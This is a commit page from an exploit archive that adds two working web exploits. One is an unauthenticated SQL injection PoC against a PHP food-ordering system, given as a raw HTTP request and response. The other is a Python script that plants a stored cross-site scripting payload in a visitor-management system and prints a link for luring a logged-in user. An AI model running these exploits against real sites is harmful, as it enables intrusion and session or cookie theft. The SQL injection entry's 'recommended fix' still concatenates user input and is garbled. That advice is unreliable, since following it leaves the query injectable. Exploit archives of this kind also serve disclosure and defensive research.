DB: 2020-09-25
2 changes to exploits/shellcodes Simple Online Food Ordering System 1.0 - 'id' SQL Injection (Unauthenticated) Visitor Management System in PHP 1.0 - Persistent Cross-Site Scripting
This commit is contained in:
parent
00b27610c8
commit
72506f63c2
3 changed files with 109 additions and 0 deletions
56
exploits/php/webapps/48829.txt
Normal file
56
exploits/php/webapps/48829.txt
Normal file
|
@ -0,0 +1,56 @@
|
|||
# Exploit Title: Simple Online Food Ordering System 1.0 - 'id' SQL Injection (Unauthenticated)
|
||||
# Google Dork: N/A
|
||||
# Date: 2020-09-22
|
||||
# Exploit Author: Eren 'Aporlorxl23' Şimşek
|
||||
# Vendor Homepage: https://www.sourcecodester.com/php/14460/simple-online-food-ordering-system-using-phpmysql.html
|
||||
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/simple-online-food-ordering-system-using-php.zip
|
||||
# Version: 1.0
|
||||
# Tested on: Linux - XAMPP Server
|
||||
# CVE : N/A
|
||||
|
||||
# Vulnerable Source Code:
|
||||
# /view_prod.php
|
||||
# [3] $qry = $conn->query("SELECT * FROM product_list where id =
|
||||
".$_GET['id'])->fetch_array();
|
||||
|
||||
# PoC:
|
||||
|
||||
# Request:
|
||||
|
||||
GET /view_prod.php?id=' HTTP/1.1
|
||||
Host: localhost
|
||||
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
|
||||
Accept: */*
|
||||
Accept-Language: tr,en-US;q=0.7,en;q=0.3
|
||||
Accept-Encoding: gzip, deflate
|
||||
Connection: close
|
||||
|
||||
# Response:
|
||||
|
||||
HTTP/1.1 200 OK
|
||||
Date: Tue, 22 Sep 2020 20:44:48 GMT
|
||||
Server: Apache/2.4.43 (Unix) OpenSSL/1.1.1g PHP/7.4.7 mod_perl/2.0.11
|
||||
Perl/v5.30.3
|
||||
X-Powered-By: PHP/7.4.7
|
||||
Content-Length: 234
|
||||
Connection: close
|
||||
Content-Type: text/html; charset=UTF-8
|
||||
|
||||
<br />
|
||||
<b>Fatal error</b>: Uncaught Error: Call to a member function
|
||||
fetch_array() on bool in /opt/lampp/htdocs/view_prod.php:3
|
||||
Stack trace:
|
||||
#0 {main}
|
||||
thrown in <b>/opt/lampp/htdocs/view_prod.php</b> on line <b>3</b><br />
|
||||
|
||||
# As You Can See Here PHP Fatal Error Because
|
||||
# $qry = $conn->query("SELECT * FROM product_list where id =
|
||||
"')->fetch_array();
|
||||
# id Value ' This is Wrong Syntax.
|
||||
|
||||
# Recommended Fix:
|
||||
|
||||
You Will Use `mysqli_real_escape_string` On id . And query Will Same With :
|
||||
$qry = $conn->query('SELECT * FROM product_list where id
|
||||
="$_GET['id']"')->fetch_array();
|
||||
Because Here Not Used "" This is Imported.
|
51
exploits/php/webapps/48830.py
Executable file
51
exploits/php/webapps/48830.py
Executable file
|
@ -0,0 +1,51 @@
|
|||
# Title: Visitor Management System in PHP 1.0 - Persistent Cross-Site Scripting
|
||||
# Exploit Author: Rahul Ramkumar
|
||||
# Date: 2020-09-16
|
||||
# Vendor Homepage: https://projectworlds.in
|
||||
# Software Link: https://projectworlds.in/wp-content/uploads/2020/07/Visitor-Management-System-in-PHP.zip
|
||||
# Version: 1.0
|
||||
# Tested On: Windows 10 Enterprise 1809 (x64_86) + XAMPP 7.2.33-1
|
||||
# CVE: N/A
|
||||
# Description: The file myform.php does not perform input validation on the request paramters. An attacker can inject javascript payloads in the parameters to perform various attacks suchs as stealing of cookies,sensitive information etc.
|
||||
|
||||
import requests, sys, urllib, re
|
||||
from lxml import etree
|
||||
from io import StringIO
|
||||
from colorama import Fore, Back, Style
|
||||
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
|
||||
import random
|
||||
import string
|
||||
|
||||
def print_usage(STRING):
|
||||
return Style.BRIGHT+Fore.YELLOW+STRING+Fore.RESET
|
||||
|
||||
if __name__ == "__main__":
|
||||
if len(sys.argv) != 2:
|
||||
print print_usage("Usage:\t\t python %s <WEBAPP_URL>" % sys.argv[0])
|
||||
print print_usage("Example:\t python %s 'https://192.168.1.72:443/visitor_management/'" % sys.argv[0])
|
||||
sys.exit(-1)
|
||||
SERVER_URL = sys.argv[1]
|
||||
XSS_DIR = '/myform.php'
|
||||
XSS_URL = SERVER_URL + XSS_DIR
|
||||
XSS_PoC_URL = SERVER_URL + '/front.php'
|
||||
|
||||
s = requests.Session()
|
||||
s.get(SERVER_URL, verify=False)
|
||||
payload = {'name': 'd3crypt','cno':'9876543210','purpose':'stored xss','MeetingTo':'Hack','comment':'<script>alert("xss")</script>','submit_post':'Submit','mydata':''}
|
||||
r1 = s.post(url=XSS_URL, data=payload, verify=False)
|
||||
r2 = s.get(XSS_PoC_URL, allow_redirects=False, verify=False)
|
||||
response_page = r2.content.decode("utf-8")
|
||||
parser = etree.HTMLParser()
|
||||
tree = etree.parse(StringIO(response_page), parser=parser)
|
||||
def get_links(tree):
|
||||
refs = tree.xpath("//a")
|
||||
links = [link.get('data-content', '') for link in refs]
|
||||
return [l for l in links]
|
||||
|
||||
visitors = get_links(tree)
|
||||
#print(visitors)
|
||||
|
||||
for visitor in visitors:
|
||||
if 'stored xss' in visitor:
|
||||
rid=visitor.split(':')[6].strip()
|
||||
print print_usage('Make the logged-in user click this URL: ' + XSS_PoC_URL + '?rid=' + rid)
|
|
@ -40652,6 +40652,8 @@ id,file,description,date,author,type,platform,port
|
|||
48825,exploits/multiple/webapps/48825.py,"Comodo Unified Threat Management Web Console 2.7.0 - Remote Code Execution",2020-09-22,"Milad Fadavvi",webapps,multiple,
|
||||
48826,exploits/php/webapps/48826.txt,"Flatpress Add Blog 1.0.3 - Persistent Cross-Site Scripting",2020-09-22,"Alperen Ergel",webapps,php,
|
||||
48827,exploits/php/webapps/48827.txt,"Online Food Ordering System 1.0 - Remote Code Execution",2020-09-23,"Eren Şimşek",webapps,php,
|
||||
48829,exploits/php/webapps/48829.txt,"Simple Online Food Ordering System 1.0 - 'id' SQL Injection (Unauthenticated)",2020-09-24,Aporlorxl23,webapps,php,
|
||||
48830,exploits/php/webapps/48830.py,"Visitor Management System in PHP 1.0 - Persistent Cross-Site Scripting",2020-09-24,"Rahul Ramkumar",webapps,php,
|
||||
42884,exploits/multiple/webapps/42884.py,"Fibaro Home Center 2 - Remote Command Execution / Privilege Escalation",2017-02-22,forsec,webapps,multiple,
|
||||
42805,exploits/php/webapps/42805.txt,"WordPress Plugin WPAMS - SQL Injection",2017-09-26,"Ihsan Sencan",webapps,php,
|
||||
42889,exploits/php/webapps/42889.txt,"Trend Micro OfficeScan 11.0/XG (12.0) - Private Key Disclosure",2017-09-28,hyp3rlinx,webapps,php,
|
||||
|
|
Can't render this file because it is too large.
|
Loading…
Add table
Reference in a new issue